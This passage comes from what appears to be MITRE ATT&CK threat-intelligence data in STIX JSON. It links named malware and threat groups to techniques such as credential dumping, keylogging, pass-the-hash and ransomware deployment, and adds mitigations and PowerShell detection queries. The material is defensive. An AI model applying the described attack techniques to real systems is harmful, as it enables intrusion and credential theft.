"source_name": "Palo Alto menuPass Feb 2017"}, {"url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html", "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. 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Retrieved January 20, 2021."}], "modified": "2021-04-27T00:05:45.696Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can remove its persistence and delete itself.(Citation: Securelist Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4358ef19-eef7-48bb-9941-39d70bf235af", "created": "2020-12-28T18:50:41.521Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary Hospital Thwarted Ryuk October 2020", "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). 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Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access network configuration content)", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--435f910b-21a6-4814-b167-5262ca1e1e58", "type": "relationship", "created": "2019-05-29T14:17:51.227Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", "source_name": "Proofpoint TA505 Jan 2019"}, {"source_name": "Deep Instinct TA505 Apr 2019", "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."}], "modified": "2020-03-19T19:13:21.940Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) may download additional files to execute.(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43619944-94e9-43d9-a761-8e4db2113eef", "type": "relationship", "created": "2019-01-30T16:45:00.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", "url": "https://github.com/AlessandroZ/LaZagne", "source_name": "GitHub LaZagne Dec 2018"}], "modified": "2020-03-19T23:11:54.971Z", "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from memory to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)", "relationship_type": "uses", "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4364b7ab-fd25-4145-84e6-e9e74ac3c0dd", "type": "relationship", "created": "2021-10-06T18:50:00.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Oblique RAT March 2021", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}, {"source_name": "Talos Transparent Tribe May 2021", "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.388Z", "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has embedded links to malicious downloads in e-mails.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4372bc1b-e764-4208-a250-bd7d1669f0c5", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor network data for uncommon data flows. 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RATANKBA: Delving into Large-scale Watering Holes against Enterprises. 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Torisma](https://attack.mitre.org/software/S0678) can use `WTSEnumerateSessionsW` to monitor remote desktop connections.(Citation: McAfee Lazarus Nov 2020)", "modified": "2022-04-13T20:18:24.369Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--438cae9c-cb03-4db9-ae59-24ed27147725", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Backdoor.Nidiran", "description": "Sponchioni, R.. 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(2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a"}, {"source_name": "ObjectiveSee AppleJeus 2019", "description": "Patrick Wardle. (2019, October 12). Pass the AppleJeus. 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(2020, July 17). Updates on Quickly-Evolving ThiefQuest macOS Malware. Retrieved April 26, 2021."}], "modified": "2021-04-26T20:02:14.275Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses the <code>CGEventTap</code> functions to perform keylogging.(Citation: Trendmicro Evolving ThiefQuest 2020)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--43908728-be5a-4bdf-a13e-8d373c1fc4fd", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET GreyEnergy Oct 2018", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. 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DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. 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Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-13T19:28:36.829Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) has suppressed all error reporting by calling `SetErrorMode` with 0x8007 as a parameter.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43d69d89-df36-44fa-a09e-c66aa9fa5918", "type": "relationship", "created": "2020-03-25T22:32:16.736Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-24T19:08:57.223Z", "description": "Restrict software installation to trusted repositories only and be cautious of orphaned software packages.", "relationship_type": "mitigates", "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43d71a3e-1a46-4b5d-b887-cb373d143c9a", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor logs for actions that could be taken to gather information about pods, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications.", "source_ref": "x-mitre-data-component--07688e40-a7fa-4436-937f-1216674341a0", "target_ref": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43d85ed6-223e-4402-bd29-be10a872359d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}], "modified": "2019-04-22T22:31:38.438Z", "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get text of the current foreground window.(Citation: Volexity PowerDuke November 2016)", "relationship_type": "uses", "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43e9c37e-9e57-4130-8510-05c65bfde6f8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito Jan 2018"}, {"url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", "source_name": "ESET Turla Mosquito May 2018"}, {"source_name": "Secureworks IRON HUNTER Profile", "url": "http://www.secureworks.com/research/threat-profiles/iron-hunter", "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}], "modified": "2022-02-22T15:46:45.474Z", "description": "(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)(Citation: Secureworks IRON HUNTER Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43ec2047-44fb-49a5-b24a-9edcb5378e5c", "type": "relationship", "created": "2022-01-10T19:52:49.181Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:19.118Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can execute PowerShell commands and has used PowerShell to execute a keylogger.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}, {"source_name": "Symantec Remsec IOCs", "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:16:42.496Z", "description": "Some data in [Remsec](https://attack.mitre.org/software/S0125) is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--43eebb80-4b8a-4690-a7e3-5f6f8e08db9f", "type": "relationship", "created": "2019-07-18T19:07:50.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-12-11T17:00:01.211Z", "description": "Grant access to application deployment systems only to a limited number of authorized administrators.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--43f6b172-34cf-4663-836a-df1ad978e7df", "created": "2024-03-13T20:35:29.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-15T20:11:51.949Z", "description": "[Malteiro](https://attack.mitre.org/groups/G1026) has injected [Mispadu](https://attack.mitre.org/software/S1122)\u2019s DLL into a process.(Citation: SCILabs Malteiro 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--43fabcba-66b6-45dc-b905-926f0a0a2bba", "created": "2020-05-13T15:28:06.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"}, {"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.650Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used RDP for lateral movement and to deploy ransomware interactively.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--43fec1ed-cc26-4036-95c0-1598150f3916", "created": "2023-08-03T19:06:51.113Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.650Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the `Invoke-SMBExec` PowerShell cmdlet to execute the pass-the-hash technique and utilized stolen password hashes to move laterally.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--440aeea8-97bc-4b65-be16-7f411b747798", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:58:15.605Z", "description": "Monitor for newly executed processes that may abuse PowerShell commands and scripts for execution. PowerShell is a scripting environment included with Windows that is used by both attackers and administrators. Execution of PowerShell scripts in most Windows versions is opaque and not typically secured by antivirus which makes using PowerShell an easy way to circumvent security measures. This analytic detects execution of PowerShell scripts.\n\nPowershell can be used to hide monitored command line execution such as:\n\nnet use\nsc start\n\nNote: \n- The logic for Analytic 1 is based around detecting on non-interactive Powershell sessions (i.e., those not launched by a user through explorer.exe). This may lead to false positives when used in a production environment, so we recommend tuning any such analytics by including additional logic (e.g., looking for suspicious parent processes) that helps filter such events.\n- The logic for Analytic 2 is based around detecting on remote Powershell sessions. PowerShell can be used over WinRM to remotely run commands on a host. When a remote PowerShell session starts, svchost.exe executes wsmprovhost.exe.\n\nAnalytic 1 - Non-interactive Powershell Sessions\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"powershell.exe\" AND ParentImage!=\"explorer.exe\"</code>\n\nAnalytic 2 - Remote Powershell Sessions \n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"wsmprovhost.exe\" AND ParentImage=\"svchost.exe\"</code>\n\nAnalytic 3 - Powershell Execution\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") Image=\"C:\\\\Windows\\\\*\\\\powershell.exe\" ParentImage!=\"C:\\\\Windows\\\\explorer.exe\"|stats values(CommandLine) as \"Command Lines\" values(ParentImage) as \"Parent Images\" by ComputerName</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--440c7f08-e570-4536-8f9c-849952581de1", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2020-03-17T17:00:43.701Z", "description": "[Proton](https://attack.mitre.org/software/S0279) uses VNC to connect into systems.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--440eeebd-bbb0-476c-8291-b71fe95e0843", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44156087-5547-4a14-86cb-6dde182edf55", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--441cd636-cb84-4541-b444-09881d015c43", "created": "2022-06-09T18:35:30.680Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[OutSteel](https://attack.mitre.org/software/S1017) can collect information from a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T18:35:30.680Z", "relationship_type": "uses", "source_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--441e6528-4342-4387-848b-febb051e05f7", "type": "relationship", "created": "2020-10-19T19:42:19.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - TACACS", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#39", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}], "modified": "2020-10-22T16:54:58.939Z", "description": "Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS.  Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--441ef1f7-79b7-476a-8c1e-943439e65dd1", "created": "2019-01-29T18:55:20.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Riskiq Remcos Jan 2018", "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", "url": "https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-23T14:07:20.660Z", "description": "[Remcos](https://attack.mitre.org/software/S0332) steals and modifies data from the clipboard.(Citation: Riskiq Remcos Jan 2018)", "relationship_type": "uses", "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 